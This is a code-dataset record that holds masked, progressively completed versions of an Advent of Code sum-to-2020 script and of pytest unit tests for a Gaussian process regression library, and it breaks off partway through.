n)\n print(\"Pi = \", pi)\n \n\nmain()\n", "step-ids": [ 5, 6, 7, 8, 9 ] }
[ 5, 6, 7, 8, 9 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> with open('input.txt', 'r') as file: for line in file: nums.append(int(line)) <|reserved_special_token_0|> for ini in nums: target = 2020 - ini for chk in nums: if chk == target: product = ini * chk print(product) <|reserved_special_token_1|> nums = [] with open('input.txt', 'r') as file: for line in file: nums.append(int(line)) target = 0 product = 0 for ini in nums: target = 2020 - ini for chk in nums: if chk == target: product = ini * chk print(product) <|reserved_special_token_1|> # day one question 1 solution # find product of two numbers in input.txt list that sum to 2020 # pull everything out of input file nums = [] with open('input.txt', 'r') as file: for line in file: nums.append(int(line)) target = 0 product = 0 # for each number in the input, figure out what it's complement to 2020 would be for ini in nums: target = 2020 - ini # then iterate through and check if its complement exists for chk in nums: # if it does, compute the product # semi-hacky since it assumes there'll only be one pair if chk == target: product = ini * chk print(product)
flexible
{ "blob_id": "38504dae7b010c2df8c16b752c2179b6b3561c0e", "index": 7770, "step-1": "<mask token>\n", "step-2": "<mask token>\nwith open('input.txt', 'r') as file:\n for line in file:\n nums.append(int(line))\n<mask token>\nfor ini in nums:\n target = 2020 - ini\n for chk in nums:\n if chk == target:\n product = ini * chk\nprint(product)\n", "step-3": "nums = []\nwith open('input.txt', 'r') as file:\n for line in file:\n nums.append(int(line))\ntarget = 0\nproduct = 0\nfor ini in nums:\n target = 2020 - ini\n for chk in nums:\n if chk == target:\n product = ini * chk\nprint(product)\n", "step-4": "# day one question 1 solution\n# find product of two numbers in input.txt list that sum to 2020\n\n# pull everything out of input file\nnums = []\nwith open('input.txt', 'r') as file:\n for line in file:\n nums.append(int(line))\n\ntarget = 0\nproduct = 0\n\n# for each number in the input, figure out what it's complement to 2020 would be\nfor ini in nums:\n\n target = 2020 - ini\n\n # then iterate through and check if its complement exists\n for chk in nums:\n\n # if it does, compute the product\n # semi-hacky since it assumes there'll only be one pair\n if chk == target:\n product = ini * chk\n\nprint(product)", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> def test_normalize(): model = gpmodel.GPRegressor(kernel) m, s, normed = model._normalize(Y) assert np.isclose(m, Y.mean()) assert np.isclose(s, Y.std()) assert np.allclose(normed, (Y - m) / s) model.std = s model.mean = m assert np.allclose(Y, model.unnormalize(normed)) def test_K(): model = gpmodel.GPRegressor(kernel) model.kernel.fit(X) K, Ky = model._make_Ks((1, 1, 1)) assert np.allclose(K, kernel.cov(X, X)) assert np.allclose(Ky, K + np.diag(np.ones(len(K)))) model.variances = variances K, Ky = model._make_Ks((1, 1)) assert np.allclose(K, kernel.cov(X, X)) assert np.allclose(Ky, K + np.diag(variances)) def test_ML(): model = gpmodel.GPRegressor(kernel) model.kernel.fit(X) model.normed_Y = model._normalize(Y)[2] model._ell = len(Y) hypers = np.random.random(size=(3,)) y_mat = model.normed_Y.reshape((n, 1)) K, Ky = model._make_Ks(hypers) first = 0.5 * y_mat.T @ np.linalg.inv(Ky) @ y_mat second = 0.5 * np.log(np.linalg.det(Ky)) third = model._ell / 2.0 * np.log(2 * np.pi) actual = first + second + third assert np.isclose(actual, model._log_ML(hypers)) def test_fit(): model = gpmodel.GPRegressor(kernel) model.fit(X, Y) assert model._n_hypers == kernel._n_hypers + 1 assert np.allclose(model.X, X) assert np.allclose(model.Y, Y) m, s, normed = model._normalize(Y) assert np.allclose(model.normed_Y, normed) assert np.isclose(m, model.mean) assert np.isclose(s, model.std) vn, s0, ell = model.hypers K = kernel.cov(X, X, (s0, ell)) Ky = K + np.diag(vn * np.ones(len(K))) ML = model._log_ML(model.hypers) L = np.linalg.cholesky(Ky) alpha = np.linalg.inv(Ky) @ normed.reshape((n, 1)) assert np.isclose(model.ML, ML) assert np.allclose(model._K, K) assert np.allclose(model._Ky, Ky) assert np.allclose(model._L, L) assert np.allclose(model._alpha, alpha) def test_predict(): model = gpmodel.GPRegressor(kernel) model.fit(X, Y) h = model.hypers[1:] m, s, normed = model._normalize(Y) k_star = model.kernel.cov(X_test, X, hypers=h) k_star_star = model.kernel.cov(X_test, X_test, hypers=h) K = kernel.cov(X, X, h) Ky = K + np.diag(model.hypers[0] * np.ones(len(K))) means = k_star @ np.linalg.inv(Ky) @ normed.reshape(len(Y), 1) means = means * s + m var = k_star_star - k_star @ np.linalg.inv(Ky) @ k_star.T var *= s ** 2 m, v = model.predict(X_test) print(v) print(var) print(model.hypers[0]) assert (np.abs(v - var) < 0.1).all() assert np.allclose(means[:, 0], m, rtol=1e-08, atol=0.0001) def test_pickles(): model = gpmodel.GPRegressor(kernel) model.fit(X, Y) m1, v1 = model.predict(X_test) model.dump('test.pkl') new_model = gpmodel.GPRegressor.load('test.pkl') os.remove('test.pkl') m2, v2 = new_model.predict(X_test) assert np.allclose(m1, m2) assert np.allclose(v1, v2) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def test_init(): model = gpmodel.GPRegressor(kernel) assert np.allclose(model.mean_func.mean(X), np.zeros((len(X),))) assert model.objective == model._log_ML assert model.kernel == kernel assert model.guesses is None model = gpmodel.GPRegressor(kernel, guesses=(0.1, 0.1, 0.1)) assert model.guesses == (0.1, 0.1, 0.1) def test_normalize(): model = gpmodel.GPRegressor(kernel) m, s, normed = model._normalize(Y) assert np.isclose(m, Y.mean()) assert np.isclose(s, Y.std()) assert np.allclose(normed, (Y - m) / s) model.std = s model.mean = m assert np.allclose(Y, model.unnormalize(normed)) def test_K(): model = gpmodel.GPRegressor(kernel) model.kernel.fit(X) K, Ky = model._make_Ks((1, 1, 1)) assert np.allclose(K, kernel.cov(X, X)) assert np.allclose(Ky, K + np.diag(np.ones(len(K)))) model.variances = variances K, Ky = model._make_Ks((1, 1)) assert np.allclose(K, kernel.cov(X, X)) assert np.allclose(Ky, K + np.diag(variances)) def test_ML(): model = gpmodel.GPRegressor(kernel) model.kernel.fit(X) model.normed_Y = model._normalize(Y)[2] model._ell = len(Y) hypers = np.random.random(size=(3,)) y_mat = model.normed_Y.reshape((n, 1)) K, Ky = model._make_Ks(hypers) first = 0.5 * y_mat.T @ np.linalg.inv(Ky) @ y_mat second = 0.5 * np.log(np.linalg.det(Ky)) third = model._ell / 2.0 * np.log(2 * np.pi) actual = first + second + third assert np.isclose(actual, model._log_ML(hypers)) def test_fit(): model = gpmodel.GPRegressor(kernel) model.fit(X, Y) assert model._n_hypers == kernel._n_hypers + 1 assert np.allclose(model.X, X) assert np.allclose(model.Y, Y) m, s, normed = model._normalize(Y) assert np.allclose(model.normed_Y, normed) assert np.isclose(m, model.mean) assert np.isclose(s, model.std) vn, s0, ell = model.hypers K = kernel.cov(X, X, (s0, ell)) Ky = K + np.diag(vn * np.ones(len(K))) ML = model._log_ML(model.hypers) L = np.linalg.cholesky(Ky) alpha = np.linalg.inv(Ky) @ normed.reshape((n, 1)) assert np.isclose(model.ML, ML) assert np.allclose(model._K, K) assert np.allclose(model._Ky, Ky) assert np.allclose(model._L, L) assert np.allclose(model._alpha, alpha) def test_predict(): model = gpmodel.GPRegressor(kernel) model.fit(X, Y) h = model.hypers[1:] m, s, normed = model._normalize(Y) k_star = model.kernel.cov(X_test, X, hypers=h) k_star_star = model.kernel.cov(X_test, X_test, hypers=h) K = kernel.cov(X, X, h) Ky = K + np.diag(model.hypers[0] * np.ones(len(K))) means = k_star @ np.linalg.inv(Ky) @ normed.reshape(len(Y), 1) means = means * s + m var = k_star_star - k_star @ np.linalg.inv(Ky) @ k_star.T var *= s ** 2 m, v = model.predict(X_test) print(v) print(var) print(model.hypers[0]) assert (np.abs(v - var) < 0.1).all() assert np.allclose(means[:, 0], m, rtol=1e-08, atol=0.0001) def test_pickles(): model = gpmodel.GPRegressor(kernel) model.fit(X, Y) m1, v1 = model.predict(X_test) model.dump('test.pkl') new_model = gpmodel.GPRegressor.load('test.pkl') os.remove('test.pkl') m2, v2 = new_model.predict(X_test) assert np.allclose(m1, m2) assert np.allclose(v1, v2) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> Y += np.random.normal(0, 0.2, n) def test_init(): model = gpmodel.GPRegressor(kernel) assert np.allclose(model.mean_func.mean(X), np.zeros((len(X),))) assert model.objective == model._log_ML assert model.kernel == kernel assert model.guesses is None model = gpmodel.GPRegressor(kernel, guesses=(0.1, 0.1, 0.1)) assert model.guesses == (0.1, 0.1, 0.1) def test_normalize(): model = gpmodel.GPRegressor(kernel) m, s, normed = model._normalize(Y) assert np.isclose(m, Y.mean()) assert np.isclose(s, Y.std()) assert np.allclose(normed, (Y - m) / s) model.std = s model.mean = m assert np.allclose(Y, model.unnormalize(normed)) def test_K(): model = gpmodel.GPRegressor(kernel) model.kernel.fit(X) K, Ky = model._make_Ks((1, 1, 1)) assert np.allclose(K, kernel.cov(X, X)) assert np.allclose(Ky, K + np.diag(np.ones(len(K)))) model.variances = variances K, Ky = model._make_Ks((1, 1)) assert np.allclose(K, kernel.cov(X, X)) assert np.allclose(Ky, K + np.diag(variances)) def test_ML(): model = gpmodel.GPRegressor(kernel) model.kernel.fit(X) model.normed_Y = model._normalize(Y)[2] model._ell = len(Y) hypers = np.random.random(size=(3,)) y_mat = model.normed_Y.reshape((n, 1)) K, Ky = model._make_Ks(hypers) first = 0.5 * y_mat.T @ np.linalg.inv(Ky) @ y_mat second = 0.5 * np.log(np.linalg.det(Ky)) third = model._ell / 2.0 * np.log(2 * np.pi) actual = first + second + third assert np.isclose(actual, model._log_ML(hypers)) def test_fit(): model = gpmodel.GPRegressor(kernel) model.fit(X, Y) assert model._n_hypers == kernel._n_hypers + 1 assert np.allclose(model.X, X) assert np.allclose(model.Y, Y) m, s, normed = model._normalize(Y) assert np.allclose(model.normed_Y, normed) assert np.isclose(m, model.mean) assert np.isclose(s, model.std) vn, s0, ell = model.hypers K = kernel.cov(X, X, (s0, ell)) Ky = K + np.diag(vn * np.ones(len(K))) ML = model._log_ML(model.hypers) L = np.linalg.cholesky(Ky) alpha = np.linalg.inv(Ky) @ normed.reshape((n, 1)) assert np.isclose(model.ML, ML) assert np.allclose(model._K, K) assert np.allclose(model._Ky, Ky) assert np.allclose(model._L, L) assert np.allclose(model._alpha, alpha) def test_predict(): model = gpmodel.GPRegressor(kernel) model.fit(X, Y) h = model.hypers[1:] m, s, normed = model._normalize(Y) k_star = model.kernel.cov(X_test, X, hypers=h) k_star_star = model.kernel.cov(X_test, X_test, hypers=h) K = kernel.cov(X, X, h) Ky = K + np.diag(model.hypers[0] * np.ones(len(K))) means = k_star @ np.linalg.inv(Ky) @ normed.reshape(len(Y), 1) means = means * s + m var = k_star_star - k_star @ np.linalg.inv(Ky) @ k_star.T var *= s ** 2 m, v = model.predict(X_test) print(v) print(var) print(model.hypers[0]) assert (np.abs(v - var) < 0.1).all() assert np.allclose(means[:, 0], m, rtol=1e-08, atol=0.0001) def test_pickles(): model = gpmodel.GPRegressor(kernel) model.fit(X, Y) m1, v1 = model.predict(X_test) model.dump('test.pkl') new_model = gpmodel.GPRegressor.load('test.pkl') os.remove('test.pkl') m2, v2 = new_model.predict(X_test) assert np.allclose(m1, m2) assert np.allclose(v1, v2) if __name__ == '__main__': test_init() test_normalize() test_K() test_ML() test_fit() test_predict() test_pickles() <|reserved_special_token_1|> <|reserved_special_token_0|> n = 200 d = 10 X = np.random.random(size=(n, d)) xa = X[[0]] xb = X[[1]] Xc = X[[2]] class_Y = np.random.choice((1, -1), size=(n,)) alpha = 0.1 func = gpmean.GPMean(linear_model.Lasso, alpha=alpha) X_test = np.random.random(size=(5, d)) kernel = gpkernel.SEKernel() cov = kernel.cov(X, X, hypers=(1.0, 0.5)) variances = np.random.random(size=(n,)) Y = np.random.multivariate_normal(np.zeros(n), cov=cov) Y += np.random.normal(0, 0.2, n) def test_init(): model = gpmodel.GPRegressor(kernel) assert np.allclose(model.mean_func.mean(X), np.zeros((len(X),))) assert model.objective == model._log_ML assert model.kernel == kernel assert model.guesses is None model = gpmodel.GPRegressor(kernel, guesses=(0.1, 0.1, 0.1)) assert model.guesses == (0.1, 0.1, 0.1) def test_normalize(): model = gpmodel.GPRegressor(kernel) m, s, normed = model._normalize(Y) assert np.isclose(m, Y.mean()) assert np.isclose(s, Y.std()) assert np.allclose(normed, (Y - m) / s) model.std = s model.mean = m assert np.allclose(Y, model.unnormalize(normed)) def test_K(): model = gpmodel.GPRegressor(kernel) model.kernel.fit(X) K, Ky = model._make_Ks((1, 1, 1)) assert np.allclose(K, kernel.cov(X, X)) assert np.allclose(Ky, K + np.diag(np.ones(len(K)))) model.variances = variances K, Ky = model._make_Ks((1, 1)) assert np.allclose(K, kernel.cov(X, X)) assert np.allclose(Ky, K + np.diag(variances)) def test_ML(): model = gpmodel.GPRegressor(kernel) model.kernel.fit(X) model.normed_Y = model._normalize(Y)[2] model._ell = len(Y) hypers = np.random.random(size=(3,)) y_mat = model.normed_Y.reshape((n, 1)) K, Ky = model._make_Ks(hypers) first = 0.5 * y_mat.T @ np.linalg.inv(Ky) @ y_mat second = 0.5 * np.log(np.linalg.det(Ky)) third = model._ell / 2.0 * np.log(2 * np.pi) actual = first + second + third assert np.isclose(actual, model._log_ML(hypers)) def test_fit(): model = gpmodel.GPRegressor(kernel) model.fit(X, Y) assert model._n_hypers == kernel._n_hypers + 1 assert np.allclose(model.X, X) assert np.allclose(model.Y, Y) m, s, normed = model._normalize(Y) assert np.allclose(model.normed_Y, normed) assert np.isclose(m, model.mean) assert np.isclose(s, model.std) vn, s0, ell = model.hypers K = kernel.cov(X, X, (s0, ell)) Ky = K + np.diag(vn * np.ones(len(K))) ML = model._log_ML(model.hypers) L = np.linalg.cholesky(Ky) alpha = np.linalg.inv(Ky) @ normed.reshape((n, 1)) assert np.isclose(model.ML, ML) assert np.allclose(model._K, K) assert np.allclose(model._Ky, Ky) assert np.allclose(model._L, L) assert np.allclose(model._alpha, alpha) def test_predict(): model = gpmodel.GPRegressor(kernel) model.fit(X, Y) h = model.hypers[1:] m, s, normed = model._normalize(Y) k_star = model.kernel.cov(X_test, X, hypers=h) k_star_star = model.kernel.cov(X_test, X_test, hypers=h) K = kernel.cov(X, X, h) Ky = K + np.diag(model.hypers[0] * np.ones(len(K))) means = k_star @ np.linalg.inv(Ky) @ normed.reshape(len(Y), 1) means = means * s + m var = k_star_star - k_star @ np.linalg.inv(Ky) @ k_star.T var *= s ** 2 m, v = model.predict(X_test) print(v) print(var) print(model.hypers[0]) assert (np.abs(v - var) < 0.1).all() assert np.allclose(means[:, 0], m, rtol=1e-08, atol=0.0001) def test_pickles(): model = gpmodel.GPRegressor(kernel) model.fit(X, Y) m1, v1 = model.predict(X_test) model.dump('test.pkl') new_model = gpmodel.GPRegressor.load('test.pkl') os.remove('test.pkl') m2, v2 = new_model.predict(X_test) assert np.allclose(m1, m2) assert np.allclose(v1, v2) if __name__ == '__main__': test_init() test_normalize() test_K() test_ML() test_fit() test_predict() test_pickles() <|reserved_special_token_1|> import pytest import os import pandas as pd import numpy as np import math import scipy from scipy import stats from sklearn import metrics, linear_model from gpmodel import gpkernel from gpmodel import gpmodel from gpmodel import gpmean from gpmodel import chimera_tools n = 200 d = 10 X = np.random.random(size=(n, d)) xa = X[[0]] xb = X[[1]] Xc = X[[2]] class_Y = np.random.choice((1, -1), size=(n,)) alpha = 1e-1 func = gpmean.GPMean(linear_model.Lasso, alpha=alpha) X_test = np.random.random(size=(5, d)) kernel = gpkernel.SEKernel() cov = kernel.cov(X, X, hypers=(1.0, 0.5)) variances = np.random.random(size=(n, )) Y = np.random.multivariate_normal(np.zeros(n), cov=cov) Y += np.random.normal(0, 0.2, n) def test_init(): model = gpmodel.GPRegressor(kernel) assert np.allclose(model.mean_func.mean(X), np.zeros((len(X), ))) assert model.objective == model._log_ML assert model.kernel == kernel assert model.guesses is None model = gpmodel.GPRegressor(kernel, guesses=(0.1, 0.1, 0.1)) assert model.guesses == (0.1, 0.1, 0.1) def test_normalize(): model = gpmodel.GPRegressor(kernel) m, s, normed = model._normalize(Y) assert np.isclose(m, Y.mean()) assert np.isclose(s, Y.std()) assert np.allclose(normed, (Y - m) / s) model.std = s model.mean = m assert np.allclose(Y, model.unnormalize(normed)) def test_K(): model = gpmodel.GPRegressor(kernel) model.kernel.fit(X) K, Ky = model._make_Ks((1, 1, 1)) assert np.allclose(K, kernel.cov(X, X)) assert np.allclose(Ky, K + np.diag(np.ones(len(K)))) model.variances = variances K, Ky = model._make_Ks((1, 1)) assert np.allclose(K, kernel.cov(X, X)) assert np.allclose(Ky, K + np.diag(variances)) def test_ML(): model = gpmodel.GPRegressor(kernel) model.kernel.fit(X) model.normed_Y = model._normalize(Y)[2] model._ell = len(Y) hypers = np.random.random(size=(3,)) y_mat = model.normed_Y.reshape((n, 1)) K, Ky = model._make_Ks(hypers) first = 0.5 * y_mat.T @ np.linalg.inv(Ky) @ y_mat second = 0.5 * np.log(np.linalg.det(Ky)) third = model._ell / 2.0 * np.log(2 * np.pi) actual = first + second + third assert np.isclose(actual, model._log_ML(hypers)) def test_fit(): model = gpmodel.GPRegressor(kernel) model.fit(X, Y) assert model._n_hypers == kernel._n_hypers + 1 assert np.allclose(model.X, X) assert np.allclose(model.Y, Y) m, s, normed = model._normalize(Y) assert np.allclose(model.normed_Y, normed) assert np.isclose(m, model.mean) assert np.isclose(s, model.std) vn, s0, ell = model.hypers K = kernel.cov(X, X, (s0, ell)) Ky = K + np.diag(vn * np.ones(len(K))) ML = model._log_ML(model.hypers) L = np.linalg.cholesky(Ky) alpha = np.linalg.inv(Ky) @ normed.reshape((n, 1)) assert np.isclose(model.ML, ML) assert np.allclose(model._K, K) assert np.allclose(model._Ky, Ky) assert np.allclose(model._L, L) assert np.allclose(model._alpha, alpha) def test_predict(): model = gpmodel.GPRegressor(kernel) model.fit(X, Y) h = model.hypers[1::] m, s, normed = model._normalize(Y) k_star = model.kernel.cov(X_test, X, hypers=h) k_star_star = model.kernel.cov(X_test, X_test, hypers=h) K = kernel.cov(X, X, h) Ky = K + np.diag(model.hypers[0] * np.ones(len(K))) means = k_star @ np.linalg.inv(Ky) @ normed.reshape(len(Y), 1) means = means * s + m var = k_star_star - k_star @ np.linalg.inv(Ky) @ k_star.T var *= s ** 2 m, v = model.predict(X_test) print(v) print(var) print(model.hypers[0]) assert (np.abs(v - var) < 1e-1).all() assert np.allclose(means[:, 0], m, rtol=1.e-8, atol=1e-4) def test_pickles(): model = gpmodel.GPRegressor(kernel) model.fit(X, Y) m1, v1 = model.predict(X_test) model.dump('test.pkl') new_model = gpmodel.GPRegressor.load('test.pkl') os.remove('test.pkl') m2, v2 = new_model.predict(X_test) assert np.allclose(m1, m2) assert np.allclose(v1, v2) if __name__ == "__main__": test_init() test_normalize() test_K() test_ML() test_fit() test_predict() test_pickles() # To Do: # Test LOO_res and LOO_log_p and fitting with LOO_log_p # Test with mean functions # Test with given variances
flexible
{ "blob_id": "62c28b5eb31b90191dfbab4456fc5373ba51bf64", "index": 8869, "step-1": "<mask token>\n\n\ndef test_normalize():\n model = gpmodel.GPRegressor(kernel)\n m, s, normed = model._normalize(Y)\n assert np.isclose(m, Y.mean())\n assert np.isclose(s, Y.std())\n assert np.allclose(normed, (Y - m) / s)\n model.std = s\n model.mean = m\n assert np.allclose(Y, model.unnormalize(normed))\n\n\ndef test_K():\n model = gpmodel.GPRegressor(kernel)\n model.kernel.fit(X)\n K, Ky = model._make_Ks((1, 1, 1))\n assert np.allclose(K, kernel.cov(X, X))\n assert np.allclose(Ky, K + np.diag(np.ones(len(K))))\n model.variances = variances\n K, Ky = model._make_Ks((1, 1))\n assert np.allclose(K, kernel.cov(X, X))\n assert np.allclose(Ky, K + np.diag(variances))\n\n\ndef test_ML():\n model = gpmodel.GPRegressor(kernel)\n model.kernel.fit(X)\n model.normed_Y = model._normalize(Y)[2]\n model._ell = len(Y)\n hypers = np.random.random(size=(3,))\n y_mat = model.normed_Y.reshape((n, 1))\n K, Ky = model._make_Ks(hypers)\n first = 0.5 * y_mat.T @ np.linalg.inv(Ky) @ y_mat\n second = 0.5 * np.log(np.linalg.det(Ky))\n third = model._ell / 2.0 * np.log(2 * np.pi)\n actual = first + second + third\n assert np.isclose(actual, model._log_ML(hypers))\n\n\ndef test_fit():\n model = gpmodel.GPRegressor(kernel)\n model.fit(X, Y)\n assert model._n_hypers == kernel._n_hypers + 1\n assert np.allclose(model.X, X)\n assert np.allclose(model.Y, Y)\n m, s, normed = model._normalize(Y)\n assert np.allclose(model.normed_Y, normed)\n assert np.isclose(m, model.mean)\n assert np.isclose(s, model.std)\n vn, s0, ell = model.hypers\n K = kernel.cov(X, X, (s0, ell))\n Ky = K + np.diag(vn * np.ones(len(K)))\n ML = model._log_ML(model.hypers)\n L = np.linalg.cholesky(Ky)\n alpha = np.linalg.inv(Ky) @ normed.reshape((n, 1))\n assert np.isclose(model.ML, ML)\n assert np.allclose(model._K, K)\n assert np.allclose(model._Ky, Ky)\n assert np.allclose(model._L, L)\n assert np.allclose(model._alpha, alpha)\n\n\ndef test_predict():\n model = gpmodel.GPRegressor(kernel)\n model.fit(X, Y)\n h = model.hypers[1:]\n m, s, normed = model._normalize(Y)\n k_star = model.kernel.cov(X_test, X, hypers=h)\n k_star_star = model.kernel.cov(X_test, X_test, hypers=h)\n K = kernel.cov(X, X, h)\n Ky = K + np.diag(model.hypers[0] * np.ones(len(K)))\n means = k_star @ np.linalg.inv(Ky) @ normed.reshape(len(Y), 1)\n means = means * s + m\n var = k_star_star - k_star @ np.linalg.inv(Ky) @ k_star.T\n var *= s ** 2\n m, v = model.predict(X_test)\n print(v)\n print(var)\n print(model.hypers[0])\n assert (np.abs(v - var) < 0.1).all()\n assert np.allclose(means[:, 0], m, rtol=1e-08, atol=0.0001)\n\n\ndef test_pickles():\n model = gpmodel.GPRegressor(kernel)\n model.fit(X, Y)\n m1, v1 = model.predict(X_test)\n model.dump('test.pkl')\n new_model = gpmodel.GPRegressor.load('test.pkl')\n os.remove('test.pkl')\n m2, v2 = new_model.predict(X_test)\n assert np.allclose(m1, m2)\n assert np.allclose(v1, v2)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef test_init():\n model = gpmodel.GPRegressor(kernel)\n assert np.allclose(model.mean_func.mean(X), np.zeros((len(X),)))\n assert model.objective == model._log_ML\n assert model.kernel == kernel\n assert model.guesses is None\n model = gpmodel.GPRegressor(kernel, guesses=(0.1, 0.1, 0.1))\n assert model.guesses == (0.1, 0.1, 0.1)\n\n\ndef test_normalize():\n model = gpmodel.GPRegressor(kernel)\n m, s, normed = model._normalize(Y)\n assert np.isclose(m, Y.mean())\n assert np.isclose(s, Y.std())\n assert np.allclose(normed, (Y - m) / s)\n model.std = s\n model.mean = m\n assert np.allclose(Y, model.unnormalize(normed))\n\n\ndef test_K():\n model = gpmodel.GPRegressor(kernel)\n model.kernel.fit(X)\n K, Ky = model._make_Ks((1, 1, 1))\n assert np.allclose(K, kernel.cov(X, X))\n assert np.allclose(Ky, K + np.diag(np.ones(len(K))))\n model.variances = variances\n K, Ky = model._make_Ks((1, 1))\n assert np.allclose(K, kernel.cov(X, X))\n assert np.allclose(Ky, K + np.diag(variances))\n\n\ndef test_ML():\n model = gpmodel.GPRegressor(kernel)\n model.kernel.fit(X)\n model.normed_Y = model._normalize(Y)[2]\n model._ell = len(Y)\n hypers = np.random.random(size=(3,))\n y_mat = model.normed_Y.reshape((n, 1))\n K, Ky = model._make_Ks(hypers)\n first = 0.5 * y_mat.T @ np.linalg.inv(Ky) @ y_mat\n second = 0.5 * np.log(np.linalg.det(Ky))\n third = model._ell / 2.0 * np.log(2 * np.pi)\n actual = first + second + third\n assert np.isclose(actual, model._log_ML(hypers))\n\n\ndef test_fit():\n model = gpmodel.GPRegressor(kernel)\n model.fit(X, Y)\n assert model._n_hypers == kernel._n_hypers + 1\n assert np.allclose(model.X, X)\n assert np.allclose(model.Y, Y)\n m, s, normed = model._normalize(Y)\n assert np.allclose(model.normed_Y, normed)\n assert np.isclose(m, model.mean)\n assert np.isclose(s, model.std)\n vn, s0, ell = model.hypers\n K = kernel.cov(X, X, (s0, ell))\n Ky = K + np.diag(vn * np.ones(len(K)))\n ML = model._log_ML(model.hypers)\n L = np.linalg.cholesky(Ky)\n alpha = np.linalg.inv(Ky) @ normed.reshape((n, 1))\n assert np.isclose(model.ML, ML)\n assert np.allclose(model._K, K)\n assert np.allclose(model._Ky, Ky)\n assert np.allclose(model._L, L)\n assert np.allclose(model._alpha, alpha)\n\n\ndef test_predict():\n model = gpmodel.GPRegressor(kernel)\n model.fit(X, Y)\n h = model.hypers[1:]\n m, s, normed = model._normalize(Y)\n k_star = model.kernel.cov(X_test, X, hypers=h)\n k_star_star = model.kernel.cov(X_test, X_test, hypers=h)\n K = kernel.cov(X, X, h)\n Ky = K + np.diag(model.hypers[0] * np.ones(len(K)))\n means = k_star @ np.linalg.inv(Ky) @ normed.reshape(len(Y), 1)\n means = means * s + m\n var = k_star_star - k_star @ np.linalg.inv(Ky) @ k_star.T\n var *= s ** 2\n m, v = model.predict(X_test)\n print(v)\n print(var)\n print(model.hypers[0])\n assert (np.abs(v - var) < 0.1).all()\n assert np.allclose(means[:, 0], m, rtol=1e-08, atol=0.0001)\n\n\ndef test_pickles():\n model = gpmodel.GPRegressor(kernel)\n model.fit(X, Y)\n m1, v1 = model.predict(X_test)\n model.dump('test.pkl')\n new_model = gpmodel.GPRegressor.load('test.pkl')\n os.remove('test.pkl')\n m2, v2 = new_model.predict(X_test)\n assert np.allclose(m1, m2)\n assert np.allclose(v1, v2)\n\n\n<mask token>\n", "step-3": "<mask token>\nY += np.random.normal(0, 0.2, n)\n\n\ndef test_init():\n model = gpmodel.GPRegressor(kernel)\n assert np.allclose(model.mean_func.mean(X), np.zeros((len(X),)))\n assert model.objective == model._log_ML\n assert model.kernel == kernel\n assert model.guesses is None\n model = gpmodel.GPRegressor(kernel, guesses=(0.1, 0.1, 0.1))\n assert model.guesses == (0.1, 0.1, 0.1)\n\n\ndef test_normalize():\n model = gpmodel.GPRegressor(kernel)\n m, s, normed = model._normalize(Y)\n assert np.isclose(m, Y.mean())\n assert np.isclose(s, Y.std())\n assert np.allclose(normed, (Y - m) / s)\n model.std = s\n model.mean = m\n assert np.allclose(Y, model.unnormalize(normed))\n\n\ndef test_K():\n model = gpmodel.GPRegressor(kernel)\n model.kernel.fit(X)\n K, Ky = model._make_Ks((1, 1, 1))\n assert np.allclose(K, kernel.cov(X, X))\n assert np.allclose(Ky, K + np.diag(np.ones(len(K))))\n model.variances = variances\n K, Ky = model._make_Ks((1, 1))\n assert np.allclose(K, kernel.cov(X, X))\n assert np.allclose(Ky, K + np.diag(variances))\n\n\ndef test_ML():\n model = gpmodel.GPRegressor(kernel)\n model.kernel.fit(X)\n model.normed_Y = model._normalize(Y)[2]\n model._ell = len(Y)\n hypers = np.random.random(size=(3,))\n y_mat = model.normed_Y.reshape((n, 1))\n K, Ky = model._make_Ks(hypers)\n first = 0.5 * y_mat.T @ np.linalg.inv(Ky) @ y_mat\n second = 0.5 * np.log(np.linalg.det(Ky))\n third = model._ell / 2.0 * np.log(2 * np.pi)\n actual = first + second + third\n assert np.isclose(actual, model._log_ML(hypers))\n\n\ndef test_fit():\n model = gpmodel.GPRegressor(kernel)\n model.fit(X, Y)\n assert model._n_hypers == kernel._n_hypers + 1\n assert np.allclose(model.X, X)\n assert np.allclose(model.Y, Y)\n m, s, normed = model._normalize(Y)\n assert np.allclose(model.normed_Y, normed)\n assert np.isclose(m, model.mean)\n assert np.isclose(s, model.std)\n vn, s0, ell = model.hypers\n K = kernel.cov(X, X, (s0, ell))\n Ky = K + np.diag(vn * np.ones(len(K)))\n ML = model._log_ML(model.hypers)\n L = np.linalg.cholesky(Ky)\n alpha = np.linalg.inv(Ky) @ normed.reshape((n, 1))\n assert np.isclose(model.ML, ML)\n assert np.allclose(model._K, K)\n assert np.allclose(model._Ky, Ky)\n assert np.allclose(model._L, L)\n assert np.allclose(model._alpha, alpha)\n\n\ndef test_predict():\n model = gpmodel.GPRegressor(kernel)\n model.fit(X, Y)\n h = model.hypers[1:]\n m, s, normed = model._normalize(Y)\n k_star = model.kernel.cov(X_test, X, hypers=h)\n k_star_star = model.kernel.cov(X_test, X_test, hypers=h)\n K = kernel.cov(X, X, h)\n Ky = K + np.diag(model.hypers[0] * np.ones(len(K)))\n means = k_star @ np.linalg.inv(Ky) @ normed.reshape(len(Y), 1)\n means = means * s + m\n var = k_star_star - k_star @ np.linalg.inv(Ky) @ k_star.T\n var *= s ** 2\n m, v = model.predict(X_test)\n print(v)\n print(var)\n print(model.hypers[0])\n assert (np.abs(v - var) < 0.1).all()\n assert np.allclose(means[:, 0], m, rtol=1e-08, atol=0.0001)\n\n\ndef test_pickles():\n model = gpmodel.GPRegressor(kernel)\n model.fit(X, Y)\n m1, v1 = model.predict(X_test)\n model.dump('test.pkl')\n new_model = gpmodel.GPRegressor.load('test.pkl')\n os.remove('test.pkl')\n m2, v2 = new_model.predict(X_test)\n assert np.allclose(m1, m2)\n assert np.allclose(v1, v2)\n\n\nif __name__ == '__main__':\n test_init()\n test_normalize()\n test_K()\n test_ML()\n test_fit()\n test_predict()\n test_pickles()\n", "step-4": "<mask token>\nn = 200\nd = 10\nX = np.random.random(size=(n, d))\nxa = X[[0]]\nxb = X[[1]]\nXc = X[[2]]\nclass_Y = np.random.choice((1, -1), size=(n,))\nalpha = 0.1\nfunc = gpmean.GPMean(linear_model.Lasso, alpha=alpha)\nX_test = np.random.random(size=(5, d))\nkernel = gpkernel.SEKernel()\ncov = kernel.cov(X, X, 